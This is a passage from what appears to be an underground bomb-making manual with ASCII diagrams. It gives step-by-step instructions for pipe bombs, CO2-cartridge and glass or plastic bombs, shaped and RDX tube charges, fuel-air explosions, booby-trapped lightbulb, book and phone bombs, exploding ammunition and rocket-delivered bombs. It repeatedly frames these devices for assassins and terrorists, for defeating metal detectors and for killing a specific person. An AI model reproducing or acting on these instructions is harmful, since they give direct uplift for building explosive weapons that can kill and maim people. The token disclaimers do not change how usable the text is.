The classic pipe bomb is the best known example of a metalcontained
explosive. Idiot anarchists take white tipped matches and cut off the
match
heads. They pound one end of a pipe closed with a hammer, pour in the
whitetipped matches, and then pound the other end closed. This process
often kills
the fool, since when he pounds the pipe closed, he could very easily
cause
enough friction between the match heads to cause them to ignite and
explode the
unfinished bomb. By using pipe caps, the process is somewhat safer,
and the
less stupid anarchist would never use white tipped matches in a bomb.
He would
buy two pipe caps and threaded pipe (fig. 1). First, he would drill a
hole in
one pipe cap, and put a fuse in it so that it will not come out, and so
powder
will not escape during handling. The fuse would be at least 3/4 an
inch long
inside the bomb. He would then screw the cap with the fuse in it on
tightly,
possibly putting a drop of super glue on it to hold it tight. He would
then
pour his explosive powder in the bomb. To pack it tightly, he would
take a
large wad of tissue paper and, after filling the pipe to the very top,
pack the
powder down, by using the paper as a ramrod tip, and pushing it with a
pencil
or other wide ended object, until it would not move any further.
Finally, he
would screw the other pipe cap on, and glue it. The tissue paper would
help
prevent some of the powder from being caught in the threads of the pipe
or pipe
cap from being crushed and subject to friction, which might ignite the
powder,
causing an explosion during manufacture. An assembled bomb is
presented in
fig. 2.
_________
_______________
__________
| vvvvvv|
^^^^^^
^^^^^^ |vvvvvv |
| |
|_________________________|
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
___________________________
| |
| |
|
|
| |
| |^^^^^|
vvvvvv_______________vvvvvv
|^^^^^^ |
|_______|
|________|
fig 1. Threaded pipe and endcaps.
.PA
________
________
| _____|________________________________|_____ |
| |__________________________________________| |
| |: : : : |- - - - - - - - - - - - - - - - -| |
| | tissue | - - - - - - - - - - - - - - - - |_|
| | : : : |- - - low order explosive - - --------------------| | paper | - - - - - - - - - - - - - - - - |-|
| |: : : : |- - - - - - - - - - - - - - - - -| |
| |__________________________________________| |
| |__________________________________________| |
|______|
|______|
endcap
fig. 2
pipe
fuse
endcap
w/ hole
Assembled pipe bomb.
This is one possible design that a mad bomber would use. If,
however,
he did not have access to threaded pipe with endcaps, he could always
use a
piece of copper or aluminum pipe, since it is easily bent into a
suitable
position. A major problem with copper piping, however, is bending and
folding
it without tearing it; if too much force is used when folding and
bending copper
pipe, it will split along the fold. The safest method for making a
pipe bomb
out of copper or aluminum pipe is similar to the method with pipe and
endcaps.
First, one flattens one end of a copper or aluminum pipe carefully,
making sure
not to tear or rip the piping. Then, the flat end of the pipe should
be folded
over at least once, if this does not rip the pipe. A fuse hole should
be
drilled in the pipe near the now closed end, and the fuse should be
inserted.
Next, the bomb-builder would fill the bomb with a low order explosive,
and pack
it with a large wad of tissue paper. He would then flatten and fold
the other
end of the pipe with a pair of pliers. If he was not too dumb, he
would do this
slowly, since the process of folding and bending metal gives off heat,
which
could set off the explosive. A diagram is presented below:
_______________________________________________/
|
|
|______________________________________________
\_______|
fig. 1
________
|
|
o
|
|
pipe with one end flattened and fuse hole drilled (top
view)
.PA
______
____________________________________________/ | |
|
| |
|
o | |
|___________________________________________
| |
\__|__|
fig. 2
pipe with one end flattened and folded up (top view)
____________ fuse hole
|
v
________________________________________ ___ ______
|
\ |____ |
|
\____| |
|
______|
|
/
|___________________________________________/
fig. 3
pipe with flattened and folded end (side view)
_________________ fuse
/
|
________
______________________________|___ _______
| ____|
/
|- - - - - - - - - - - - | - \ |____ |
| |_____/tissue| - - - - - - - - - - - -|- - \_____| |
|________
paper |- - - low order explosive - _______|
\
| - - - - - - - - - - - - - - /
\__________________________________/
fig. 4
completed bomb, showing tissue paper packing and explosive
(side view)
A CO2 cartridge from a B.B gun is another excellent container for
a low-order explosive. It has one minor disadvantage: it is time
consuming
to fill. But this can be rectified by widening the opening of the
cartridge
with a pointed tool. Then, all that would have to be done is to fill
the
CO2 cartridge with any low-order explosive, or any of the fast burning
fueloxodizer mixtures, and insert a fuse. These devices are commonly
called
"crater makers".
A CO2 cartridge also works well as a container for a thermit
incendiary
device, but it must be modified. The opening in the end must be
widened, so
that the ignition mixture, such as powdered magnesium, does not
explode. The
fuse will ignite the powdered magnesium, which, in turn, would ignite
the
thermit.
The previously mentioned designs for explosive devices are fine
for
low-order explosives, but are unsuitable for high-order explosives,
since the
latter requires a shockwave to be detonated. A design employing a
smaller
low-order explosive device inside a larger device containing a highorder
explosive would probably be used. It would look something like:
_______________________
fuse
|
|
|
_________
|
|
____|__________________________|___________|____
|
| * * * * * * * * * * * * * * *|* * * * * * * |
|
| * * * * * * high explosive | * * * * * * * |
|
| * * * * * * * * * * * * * * *|* * * * * * * |
|
| * ______
_______________|_
______ * |
|
| * * | __|
/
- - - - - - | \
|__ | * |
|
| * | |____/
low explosive - \____| | * |
|
| * * |_______ - - - - - - - - - _______| * |
|
| * * * * * \ - - - - - - - - / * * * * * |
|
| * * * * * * \_________________/ * * * * * |
|
| * * * * * * * * * * * * * * * * * * * * * * |
|
| * * * * * * * * * * * * * * * * * * * * * * |
|
| * * * * * * * * * * * * * * * * * * * * * * |
|
|______________________________________________|
|_______|
|_______|
_________
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If the large high explosive container is small, such as a CO2
cartridge,
then a segment of a hollow radio antenna can be made into a low-order
pipe bomb,
which can be fitted with a fuse, and inserted into the CO2 cartridge.
4.43
GLASS CONTAINERS
Glass containers can be suitable for low-order explosives, but
there
are problems with them. First, a glass container can be broken
relatively
easily compared to metal or plastic containers. Secondly, in the
not-too-unlikely event of an "accident", the person making the device
would
probably be seriously injured, even if the device was small. A bomb
made out of
a sample perfume bottle-sized container exploded in the hands of one
boy, and he
still has pieces of glass in his hand. He is also missing the final
segment of
his ring finger, which was cut off by a sharp piece of flying glass...
Nonetheless, glass containers such as perfume bottles can be used
by
a demented individual, since such a device would not be detected by
metal
detectors in an airport or other public place. All that need be done
is fill
the container, and drill a hole in the plastic cap that the fuse fits
tightly
in, and screw the cap-fuse assembly on.
.PA
________________________
|
|
fuse
|
_____|_____
| ___|___ |
| > | < | drill hole in cap, and insert fuse;
| > | < | be sure fuse will not come out of cap
| > | < |
|
|
|
|
|
|
|
|
| screw cap on bottle
|
|
|
|
V
V
________
<
<
<
>
>
>
/
/
\
\
/
\
|
|
|
|
|
|
|
|
|
|
|___________|
fill bottle with low-order explosive
Large explosive devices made from glass containers are not
practicle,
since glass is not an exceptionally strong container. Much of the
explosive
that is used to fill the container is wasted if the container is much
larger
than a 16 oz. soda bottle. Also, glass containers are usually
unsuitable for
high explosive devices, since a glass container would probably not
withstand
the explosion of the initiator; it would shatter before the high
explosive was
able to detonate.
4.44
PLASTIC CONTAINERS
Plastic containers are perhaps the best containers for explosives,
since
they can be any size or shape, and are not fragile like glass. Plastic
piping
can be bought at hardware or plumbing stores, and a device much like
the ones
used for metal containers can be made. The high-order version works
well with
plastic piping. If the entire device is made out of plastic, it is not
detectable by metal detectors. Plastic containers can usually be
shaped by
heating the container, and bending it at the appropriate place. They
can be
glued closed with epoxy or other cement for plastics. Epoxy alone can
be used as
an endcap, if a wad of tissue paper is placed in the piping. Epoxy
with a drying
agent works best in this type of device.
||
||
||
||
||\_____________/||
||
||
||
epoxy
||
||_______________||
||
||
||
tissue
||
||
paper
||
||_______________||
||***************||
||***************||
||***************||
||***************||
||** explosive **||
||***************||
||***********----------------------||***************||
||_______________||
||
||
||
tissue
||
||
paper
||
||_______________||
||
||
||
epoxy
||
|| _____________ ||
||/
\||
||
||
||
||
fuse
One end must be made first, and be allowed to dry completely
before the
device can be filled with powder and fused. Then, with another piece
of tissue
paper, pack the powder tightly, and cover it with plenty of epoxy. PVC
pipe
works well for this type of device, but it cannot be used if the pipe
had an
inside diameter greater than 3/4 of an inch. Other plastic puttys can
be used
int this type of device, but epoxy with a drying agent works best.
4.5
ADVANCED USES FOR EXPLOSIVES
The techniques presented here are those that could be used by a
person
who had some degree of knowledge of the use of explosives. Some of
this
information comes from demolitions books, or from military handbooks.
Advanced
uses for explosives usually involved shaped charges, or utilize a
minimum amount
of explosive to do a maximum amount of damage. They almost always
involve highorder explosives.
4.51
SHAPED CHARGES
A shaped charge is an explosive device that, upon detonation,
directs
the explosive force of detonation at a small target area. This process
can be
used to breach the strongest armor, since forces of literally millions
of pounds
of pressure per square inch can be generated. Shaped charges employ
high-order
explosives, and usually electric ignition systems. KEEP IN MIND THAT
ALL
EXPLOSIVES ARE DANGEROUS, AND SHOULD NEVER BE MADE OR USED!!
.PA
An example of a shaped charge is shown below.
+ wire ________
_
^
|
|
|
|
|
|
|
|
|
|
|
|
8 inches high
_______ - wire
|
|
|
|
|
|
__________|_________|____________
| ________|_________|__________ |
| |
|
|
| |
| |
\ igniter /
| |
| |
\_______/
| |
| |
priming charge
| |
| |
(mercury fulminate)
| |
| |
^
| |
| |
/ \
| |
| |
/
\
| |
| |
/
\
| |
| |
/
\
| |
| |
/
\
| |
| |
/
\
| |
| |
/
\
| |
| |
/
\
| |
| |
/
high
\
| |
|
| |
/
explosive
\
| |
|
| | /
charge
\ | |
|
| | /
\ | |
|
| |/
\| |
|
| |
^
| |
|
| |
/ \
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| | ------- 1/2
inch thick
|
| |
/
\
| |
steel pipe
|
| | /
\ | |
|
| | /
\ | |
|
| |/
\| |
|
hole for
| |
| |
hole
for
|
screw
| |
| |
screw
|
| |
| |
V_______ ___________| |
| |___________
________
|______| |____________|
|_____________|
|______|
|<------- 8 inches -------->|
If a device such as this is screwed to a safe, for example, it
would
direct most of the explosive force at a point about 1 inch away from
the opening
of the pipe. The basis for shaped charges is a cone-shaped opening in
the
explosive material. This cone should have an angle of 45 degrees. A
device
such as this one could also be attached to a metal surface with a
powerful
electromagnet.
4.52
TUBE EXPLOSIVES
A variation on shaped
that
shaped charges cannot. If
filled with
a sensitive high explosive
explosive
container in section 4.44,
produced;
charges, tube explosives can be used in ways
a piece of 1/2 inch plastic tubing was
such as R.D.X., and prepared as the plastic
a different sort of shaped charge could be
a charge that directs explosive force in a circular manner. This type
of
explosive could be wrapped around a column, or a doorknob, or a
telephone pole.
The explosion would be directed in and out, and most likely destroy
whatever
it was wrapped around. In an unbent state, a tube explosive would look
like
this:
||
||
||
||
||\____/||
|| epoxy||
||______||
||
||
||tissue||
|| paper||
||______||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
|| RDX ||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
|| ____ ||
|| | s| ||
|| | q| ||
|| | u| ||
|| | i| ||
|| | b| ||
|| | b| ||
|| |__| ||
||__||__||
||tissue||
|| paper||
||__||__||
|| || ||
|| epoxy||
|| || ||
|| _||_ ||
||/ || \||
|| || ||
|| || ||
||_______ + wire ______________
|
|________ - wire ______________
When an assassin or terrorist wishes to use a
wrap
it around whatever thing he wishes to destroy, and
the tube
bomb together. After it dries, he/she can connect
wires,
and detonate the bomb, with any method of electric
4.53
tube bomb, he must
epoxy the ends of
wires to the squib
detonation.
ATOMIZED PARTICLE EXPLOSIONS
If a highly flammable substance is atomized, or, divided into very
small
particles, and large amounts of it is burned in a confined area, an
explosion
similar to that occurring in the cylinder of an automobile is produced.
The
tiny droplets of gasoline burn in the air, and the hot gasses expand
rapidly,
pushing the cylinder up. Similarly, if a gallon of gasoline was
atomized and
ignited in a building, it is very possible that the expanding gassed
would push
the walls of the building down. This phenomenon is called an atomized
particle
explosion. If a person can effectively atomize a large amount of a
highly
flammable substance and ignite it, he could bring down a large
building, bridge,
or other structure. Atomizing a large amount of gasoline, for example,
can be
extremely difficult, unless one has the aid of a high explosive. If a
gallon
jug of gasoline was placed directly over a high explosive charge, and
the charge
was detonated, the gasoline would instantly be atomized and ignited.
If this
occurred in a building, for example, an atomized particle explosion
would surely
occur. Only a small amount of high explosive would be necessary to
accomplish
this feat, about 1/2 a pound of T.N.T., or 1/4 a pound of R.D.X.
Also, instead
of gasoline, powdered aluminum could be used. It is necessary that a
high
explosive be used to atomize a flammable material, since a low-order
explosion
does not occur quickly enough to atomize or ignite the flammable
material.
4.54
LIGHTBULB BOMBS
An automatic reaction to walking into a dark room is to turn on
the
light. This can be fatal, if a lightbulb bomb has been placed in the
overhead
light socket. A lightbulb bomb is surprisingly easy to make. It also
comes
with its own initiator and electric ignition system. On some
lightbulbs, the
lightbulb glass can be removed from the metal base by heating the base
of a
lightbulb in a gas flame, such as that of a blowtorch or gas stove.
This must
be done carefully, since the inside of a lightbulb is a vacuum. When
the glue
gets hot enough, the glass bulb can be pulled off the metal base. On
other
bulbs, it is necessary to heat the glass directly with a blowtorch or
oxy-acetylene torch. When the bulb is red hot, a hole must be
carefully poked
in the bulb, remembering the vacuum state inside the bulb. In either
case,
once the bulb and/or base has cooled down to room temperature or lower,
the
bulb can be filled with an explosive material, such as black powder.
If the
glass was removed from the metal base, it must be glued back on to the
base
with epoxy. If a hole was put in the bulb, a piece of duct tape is
sufficient
to hold the explosive in the in the bulb. Then, after making sure that
the
socket has no power by checking with a working lightbulb, all that need
be
done is to screw the lightbulb bomb into the socket. Such a device has
been
used by terrorists or assassins with much success, since nobody can
search the
room for a bomb without first turning on the light.
4.55
BOOK BOMBS
Concealing a bomb can be extremely difficult in a day and age
where
perpetrators of violence run wild. Bags and briefcases are often
searched
by authorities whenever one enters a place where an individual might
intend
to set off a bomb. One approach to disguising a bomb is to build what
is
called a book bomb; an explosive device that is entirely contained
inside of
a book. Usually, a relatively large book is required, and the book
must be of
the hardback variety to hide any protrusions of a bomb. Dictionaries,
law
books, large textbooks, and other such books work well. When an
individual
makes a bookbomb, he/she must choose a type of book that is appropriate
for
the place where the book bomb will be placed. The actual construction
of a
book bomb can be done by anyone who possesses an electric drill and a
coping
saw. First, all of the pages of the book must be glued together. By
pouring
an entire container of water-soluble glue into a large bucket, and
filling
the bucket with boiling water, a glue-water solution can be made that
will
hold all of the book's pages together tightly. After the glue-water
solution
has cooled to a bearable temperature, and the solution has been stirred
well,
the pages of the book must be immersed in the glue-water solution, and
each
page must be thoroughly soaked. It is extremely important that the
covers of
the book do not get stuck to the pages of the book while the pages are
drying.
Suspending the book by both covers and clamping the pages together in a
vice
works best. When the pages dry, after about three days to a week, a
hole must
be drilled into the now rigid pages, and they should drill out much
like wood.
Then, by inserting the coping saw blade through the pages and sawing
out a
rectangle from the middle of the book, the individual will be left with
a shell
of the book's pages. The pages, when drilled out, should look like
this:
________________________
| ____________________ |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |__________________| |
|______________________|
(book covers omitted)
This rectangle must be securely glued to the back cover of the
book.
After building his/her bomb, which usually is of the timer or radio
controlled
variety, the bomber places it inside the book. The bomb itself, and
whatever
timer or detonator is used, should be packed in foam to prevent it from
rolling
or shifting about. Finally, after the timer is set, or the radio
control has
been turned on, the front cover is glued closed, and the bomb is taken
to its
destination.
4.56
PHONE BOMBS
The phone bomb is an explosive device that has been used in the
past
to kill or injure a specific individual. The basic idea is simple:
when the
person answers the phone, the bomb explodes. If a small but powerful
high
explosive device with a squib was placed in the phone receiver, when
the
current flowed through the receiver, the squib would explode,
detonating the
high explosive in the person's hand. Nasty. All that has to be done
is
acquire a squib, and tape the receiver switch down. Unscrew the
mouthpiece
cover, and remove the speaker, and connect the squib's leads where it
was.
Place a high explosive putty, such as C-1 (see section 3.31) in the
receiver,
and screw the cover on, making sure that the squib is surrounded by the
C-1.
Hang the phone up, and leave the tape in place. When the individual to
whom
the phone belongs attempts to answer the phone, he will notice the
tape, and
remove it. This will allow current to flow through the squib. Note
that
the device will not explode by merely making a phone call; the owner of
the
phone must lift up the receiver, and remove the tape. It is highly
probable
that the phone will be by his/her ear when the device explodes...
5.0
SPECIAL AMMUNITION FOR PROJECTILE WEAPONS
Explosive and/or poisoned ammunition is an important part of a
social
deviant's arsenal. Such ammunition gives the user a distinct advantage
over
individual who use normal ammunition, since a grazing hit is good
enough to
kill. Special ammunition can be made for many types of weapons, from
crossbows
to shotguns.
5.1
SPECIAL AMMUNITION FOR PRIMITIVE WEAPONS
For the purposes of this publication, we will call any weapon
primitive
that does not employ burning gunpowder to propel a projectile forward.
This
means blowguns, bows and crossbows, and wristrockets.
5.11
BOW AND CROSSBOW AMMUNITION
Bows and crossbows both fire arrows or bolts as ammunition. It is
extremely simple to poison an arrow or bolt, but it is a more difficult
matter
to produce explosive arrows or bolts. If, however, one can acquire
aluminum
piping that is the same diameter of an arrow or crossbow bolt, the
entire
segment of piping can be converted into an explosive device that
detonates
upon impact, or with a fuse. All that need be done is find an aluminum
tube
of the right length and diameter, and plug the back end with tissue
paper and
epoxy. Fill the tube with any type of low-order explosive or sensitive
highorder explosive up to about 1/2 an inch from the top. Cut a slot in
the piece
of tubing, and carefully squeeze the top of the tube into a round
point, making
sure to leave a small hole. Place a no. 11 percussion cap over the
hole, and
secure it with super glue. Finally, wrap the end of the device with
electrical
or duct tape, and make fins out of tape. Or, fins can be bought at a
sporting
goods store, and glued to the shaft. The finished product should look
like:
_____
|
| ---------- no. 11 percussion cap
||*||
|*|
|*|
|*|
|*|
|*|
|*| ----------- aluminum piping
|*|
|e|
|x|
|p|
|l|
|o|
|s|
|i|
|v|
|e|
|*|
|*|
|*|
|*|
|*|
|*|
|*|
/|_|\
/ |t| \
| |p| |
| |_| |
| |e| | -------- fins
| |p| |
| |y| |
|_|_|_|
|_|
tp: tissue paper
epy: epoxy
When the arrow or bolt strikes a hard surface, the percussion cap
explodes, igniting or detonating the explosive.
5.12
SPECIAL AMMUNITION FOR BLOWGUNS
The blowgun is an interesting weapon which has several advantages.
A blowgun can be extremely accurate, concealable, and deliver an
explosive
or poisoned projectile. The manufacture of an explosive dart or
projectile
is not difficult. Perhaps the most simple design for such involves the
use
of a pill capsule, such as the kind that are taken for headaches or
allergies.
Such a capsule could easily be opened, and the medicine removed. Next,
the
capsule would be re-filled with an impact-sensitive explosive. An
additional
high explosive charge could be placed behind the impact-sensitive
explosive,
if one of the larger capsules were used. Finally, the explosive
capsule would
be reglued back together, and a tassel or cotton would be glued to the
end
containing the high explosive, to insure that the impact-detonating
explosive
struck the target first. Such a device would probably be about 3/4 of
an inch
long, not including the tassel or cotton, and look something like this:
____________________
/mercury |
\----------------------(fulminate|
R.D.X.
)---------------------- } tassels
\________|___________/-----------------------
5.13
SPECIAL AMMUNITION FOR WRISTROCKETS AND SLINGSHOTS
A modern wristrocket is a formidable weapon. It can throw a
shooter
marble about 500 ft. with reasonable accuracy. Inside of 200 ft., it
could well
be lethal to a man or animal, if it struck in a vital area. Because of
the
relatively large sized projectile that can be used in a wristrocket,
the
wristrocket can be adapted to throw relatively powerful explosive
projectiles.
A small segment of aluminum pipe could be made into an impactdetonating device
by filling it with an impact-sensitive explosive material. Also, such
a pipe
could be filled with a low-order explosive, and fitted with a fuse,
which would
be lit before the device was shot. One would have to make sure that
the fuse
was of sufficient length to insure that the device did not explode
before it
reached its intended target. Finally, .22 caliber caps, such as the
kind that
are used in .22 caliber blank guns, make excellent exploding ammunition
for
wristrockets, but they must be used at a relatively close range,
because of
their light weight.
.PA
5.2
SPECIAL AMMUNITION FOR FIREARMS
When special ammunition is used in combination with the power and
rapidity of modern firearms, it becomes very easy to take on a small
army with
a single weapon. It is possible to buy explosive ammunition, but that
can be
difficult to do. Such ammunition can also be manufactured in the home.
There
is, however, a risk involved with modifying any ammunition. If the
ammunition
is modified incorrectly, in such a way that it makes the bullet even
the
slightest bit wider, an explosion in the barrel of the weapon will
occur. For
this reason, NOBODY SHOULD EVER ATTEMPT TO MANUFACTURE SUCH AMMUNITION.
5.21
SPECIAL AMMUNITION FOR HANDGUNS
If an individual wished to produce explosive ammunition for
his/her
handgun, he/she could do it, provided that the person had an impactsensitive
explosive and a few simple tools. One would first purchase all lead
bullets,
and then make or acquire an impact-detonating explosive. By drilling a
hole
in a lead bullet with a drill, a space could be created for the
placement of
an explosive. After filling the hole with an explosive, it would be
sealed
in the bullet with a drop of hot wax from a candle. A diagram of a
completed
exploding bullet is shown below.
_o_ ------------ drop of wax
/|*|\
| |*|-|----------- impact-sensitive explosive
| |_| |
|_____|
This hollow space design also works for putting poison in bullets.
5.22
SPECIAL AMMUNITION FOR SHOTGUNS
Because of their large bore and high power, it is possible to
create
some extremely powerful special ammunition for use in shotguns. If a
shotgun
shell is opened at the top, and the shot is removed, the shell can be
re-closed.
Then, if one can find a very smooth, lightweight wooden dowel that is
close to
the bore width of the shotgun, a person can make several types of
shotgun-launched weapons. Insert the dowel in the barrel of the
shotgun with the
shell without the shot in the firing chamber. Mark the dowel about six
inches
away from the end of the barrel, and remove it from the barrel. Next,
decide
what type of explosive or incendiary device is to be used. This device
can be a
chemical fire bottle (see sect. 3.43), a pipe bomb (sect 4.42), or a
thermit bomb
(sect 3.41 and 4.42). After the device is made, it must be securely
attached to
the dowel. When this is done, place the dowel back in the shotgun.
The bomb or
incendiary device should be on the end of the dowel. Make sure that
the device
has a long enough fuse, light the fuse, and fire the shotgun. If the
projectile
is not too heavy, ranges of up to 300 ft are possible. A diagram of a
shotgun
projectile is shown below.
____
|| |
|| |
|| | ----- bomb, securely taped to dowel
|| |
||__|
|| |
|| | ------- fuse
|| |
||
||
||
|| --------- dowel
||
||
||
||
||
|| --------- insert this end into shotgun
5.3
SPECIAL AMMUNITION FOR COMPRESSED AIR/GAS WEAPONS
This section deals with the manufacture of special ammunition for
compressed air or compressed gas weapons, such as pump B.B guns, CO2
B.B guns,
and .22 cal pellet guns. These weapons, although usually thought of as
kids
toys, can be made into rather dangerous weapons.
5.31
SPECIAL AMMUNITION FOR B.B GUNS
A B.B gun, for this manuscript, will be considered any type of
rifle
or pistol that uses compressed air or CO2 gas to fire a projectile with
a caliber
of .177, either B.B, or lead pellet. Such guns can have almost as high
a muzzle
velocity as a bullet-firing rifle. Because of the speed at which a
.177 caliber
projectile flies, an impact detonating projectile can easily be made
that has a
caliber of .177. Most ammunition for guns of greater than .22 caliber
use
primers to ignite the powder in the bullet. These primers can be
bought at gun
stores, since many people like to reload their own bullets. Such
primers
detonate when struck by the firing pin of a gun. They will also
detonate if
they are thrown at a hard surface at a great speed. Usually, they will
also fit
in the barrel of a .177 caliber gun. If they are inserted flat end
first, they
will detonate when the gun is fired at a hard surface. If such a
primer is
attached to a piece of thin metal tubing, such as that used in an
antenna, the
tube can be filled with an explosive, be sealed, and fired from a B.B
gun. A
diagram of such a projectile appears below.
_____ primers _______
|
|
|
|
|
|
V
V
______
______
| ________________________ |------------------| ****** explosive ******* |------------------- } tassel or
| ________________________ |------------------cotton
|_____
_____|------------------^
|
|
|_______ antenna tubing
The front primer is attached to the tubing with a drop of super
glue.
The tubing is then filled with an explosive, and the rear primer is
glued on.
Finally, a tassel, or a small piece of cotton is glued to the rear
primer, to
insure that the projectile strikes on the front primer. The entire
projectile
should be about 3/4 of an inch long.
5.32
SPECIAL AMMUNITION FOR .22 CALIBER PELLET GUNS
A .22 caliber pellet gun usually is equivalent to a .22 cal rifle,
at
close ranges. Because of this, relatively large explosive projectiles
can be
adapted for use with .22 caliber air rifles. A design similar to that
used in
section 5.12 is suitable, since some capsules are about .22 caliber or
smaller.
Or, a design similar to that in section 5.31 could be used, only one
would have
to purchase black powder percussion caps, instead of ammunition
primers, since
there are percussion caps that are about .22 caliber. A #11 cap is too
small,
but anything larger will do nicely.
6.0
ROCKETS AND CANNONS
Rockets and cannon are generally thought of as heavy artillery.
Perpetrators of violence do not usually employ such devices, because
they are
difficult or impossible to acquire. They are not, however, impossible
to make.
Any individual who can make or buy black powder or pyrodex can make
such things.
A terrorist with a cannon or large rocket is, indeed, something to
fear.
6.1
ROCKETS
Rockets were first developed by the Chinese several hundred years
before Christ. They were used for entertainment, in the form of
fireworks.
They were not usually used for military purposes because they were
inaccurate,
expensive, and unpredictable. In modern times, however, rockets are
used
constantly by the military, since they are cheap, reliable, and have no
recoil.
Perpetrators of violence, fortunately, cannot obtain military rockets,
but they
can make or buy rocket engines. Model rocketry is a popular hobby of
the space
age, and to launch a rocket, an engine is required. Estes, a
subsidiary of
Damon, is the leading manufacturer of model rockets and rocket engines.
Their
most powerful engine, the "D" engine, can develop almost 12 lbs. of
thrust;
enough to send a relatively large explosive charge a significant
distance.
Other companies, such as Centuri, produce even larger rocket engines,
which
develop up to 30 lbs. of thrust. These model rocket engines are quite
reliable,
and are designed to be fired electrically. Most model rocket engines
have
three basic sections. The diagram below will help explain them.
__________________________________________________________
|_________________________________________________________| -cardboard
\ clay | - - - - - - - - - - | * * * | . . . .|c|
casing
\_______| - - - - - - - - - | * * * | . . . |l|
_______ - - - thrust - - - | smoke | eject |a|
/ clay | - - - - - - - - - | * * * | . . . .|y|
/________|_____________________|_______|________|_|_______
|________________________________________________________| -cardboard
casing
The clay nozzle is where the igniter is inserted. When the area
labeled
"thrust" is ignited, the "thrust" material, usually a large single
grain of a
propellant such as black powder or pyrodex, burns, forcing large
volumes of hot,
rapidly expanding gasses out the narrow nozzle, pushing the rocket
forward.
After the material has been consumed, the smoke section of the engine
is
ignited. It is usually a slow-burning material, similar to black
powder that
has had various compounds added to it to produce visible smoke, usually
black,
white, or yellow in color. This section exists so that the rocket will
be seen
when it reaches its maximum altitude, or apogee. When it is burned up,
it
ignites the ejection charge, labeled "eject". The ejection charge is
finely
powdered black powder. It burns very rapidly, exploding, in effect.
The
explosion of the ejection charge pushes out the parachute of the model
rocket.
It could also be used to ignite the fuse of a bomb...
Rocket engines have their own peculiar labeling system. Typical
engine
labels are: 1/4A-2T, 1/2A-3T, A8-3, B6-4, C6-7, and D12-5. The letter
is an
indicator of the power of an engine. "B" engines are twice as powerful
as "A"
engines, and "C" engines are twice as powerful as "B" engines, and so
on. The
number following the letter is the approximate thrust of the engine, in
pounds.
the final number and letter is the time delay, from the time that the
thrust
period of engine burn ends until the ejection charge fires; "3T"
indicates a
3 second delay.
NOTE: an extremely effective rocket propellant can be made by mixing
aluminum
dust with ammonium perchlorate and a very small amount of iron
oxide.
The mixture is bound together by an epoxy.
6.11
BASIC ROCKET BOMB
A rocket bomb is simply what the name implies: a bomb that is
delivered
to its target by means of a rocket. Most people who would make such a
device
would use a model rocket engine to power the device. By cutting fins
from balsa
wood and gluing them to a large rocket engine, such as the Estes "C"
engine, a
basic rocket could be constructed. Then, by attaching a "crater
maker", or CO2
cartridge bomb to the rocket, a bomb would be added. To insure that
the fuse of
the "crater maker" (see sect. 4.42) ignited, the clay over the ejection
charge
of the engine should be scraped off with a plastic tool. The fuse of
the bomb
should be touching the ejection charge, as shown below.
____________ rocket engine
|
_________ crater maker
|
|
|
|
V
|
_________________________________
V
|_______________________________| ______________________
\
| - - - - - -|***|::::|
/# # # # # # # # # # # \
\__| - - - - - -|***|::::| ___/ # # # # # # # # # # # \
__ - - - - - -|***|::::|---fuse--- # # explosive # # )
/ | - - - - - -|***|::::| ___
# # # # # # # # # # # /
/___|____________|___|____|____ \_______________________/
|_______________________________|
thrust> - - - - - smoke> ***
ejection charge> ::::
Duct tape is the best way to attach the crater maker to the rocket
engine. Note in the diagram the absence of the clay over the ejection
charge
Many different types of explosive payloads can be attached to the
rocket, such as
a high explosive, an incendiary device, or a chemical fire bottle.
Either four or three fins must be glued to the rocket engine to
insure
that the rocket flies straight.
The fins should look like this:
|\
| \
| \
|
\ <--------- glue this to rocket engine
|
\
|
\
|
\
|
|
|
|
|
|
leading edge
|
|
------->
|
|
|
|
|
| trailing edge
|
|
<-------|
|
|
|
|
|
|
|
\_____/
The leading edge and trailing edge should be sanded with sandpaper
so
that they are rounded. This will help make the rocket fly straight. A
two
inch long section of a plastic straw can be attached to the rocket to
launch it
from. A clothes hanger can be cut and made into a launch rod. The
segment of
a plastic straw should be glued to the rocket engine adjacent to one of
the fins
of the rocket. A front view of a completed rocket bomb is shown below.
|
|
|
fin
| <------ fin
|
|
|
|
|
|
|
__|__
|
V
/
\
V
---------------|
|--------------\_____/
|o <----------- segment of plastic straw
|
|
| <------ fin
|
|
|
By cutting a coat hanger at the indicated arrows, and bending it,
a
launch rod can be made. After a fuse is inserted in the engine, the
rocket is
simply slid down the launch rod, which is put through the segment of
plastic
straw. The rocket should slide easily along the coathanger.
____
/
\
|
|
cut here _____
|
|
|
|
|
|
/ \
V
/
\
_________________/
\________________
\
/
\
/____________________________________________\
^
|
|
and here ______|
/
Bend wire to this shape:
_______ insert into straw
|
|
|
V
____________________________________________
\
\
\
\
\ <--------- bend here to adjust flight angle
|
|
|
|
|
| <---------- put this end in ground
|
.PA
6.12
LONG RANGE ROCKET BOMB
Long range rockets can be made by using multi-stage rockets.
Model
rocket engines with an "0" for a time delay are designed for use in
multi-
stage rockets. An engine such as the D12-0 is an excellent example of
such an
engine. Immediately after the thrust period is over, the ejection
charge
explodes. If another engine is placed directly against the back of an
"0"
engine, the explosion of the ejection charge will send hot gasses and
burning
particles into the nozzle of the engine above it, and ignite the thrust
section.
This will push the used "0" engine off of the rocket, causing an
overall loss of
weight. The main advantage of a multi-stage rocket is that it loses
weight as
travels, and it gains velocity. A multi-stage rocket must be designed
somewhat
differently than a single stage rocket, since, in order for a rocket to
fly
straight, its center of gravity must be ahead of its center of drag.
This is
accomplished by adding weight to the front of the rocket, or by moving
the
center of drag back by putting fins on the rocket that are well behind
the
rocket. A diagram of a multi-stage rocket appears below:
___
/
\
|
|
| C |
| M | ------ CM: Crater Maker
|
|
|
|
|___|
|
|
|
|
|
|
| C | ------ C6-5 rocket engine
/| 6 |\
/ | | | \
/ | 5 | \
/
|___|
\ ---- fin
/
/|
|\
\
/
/ |
| \
\
/
/ |
| \
\
/
/
| C |
\
\
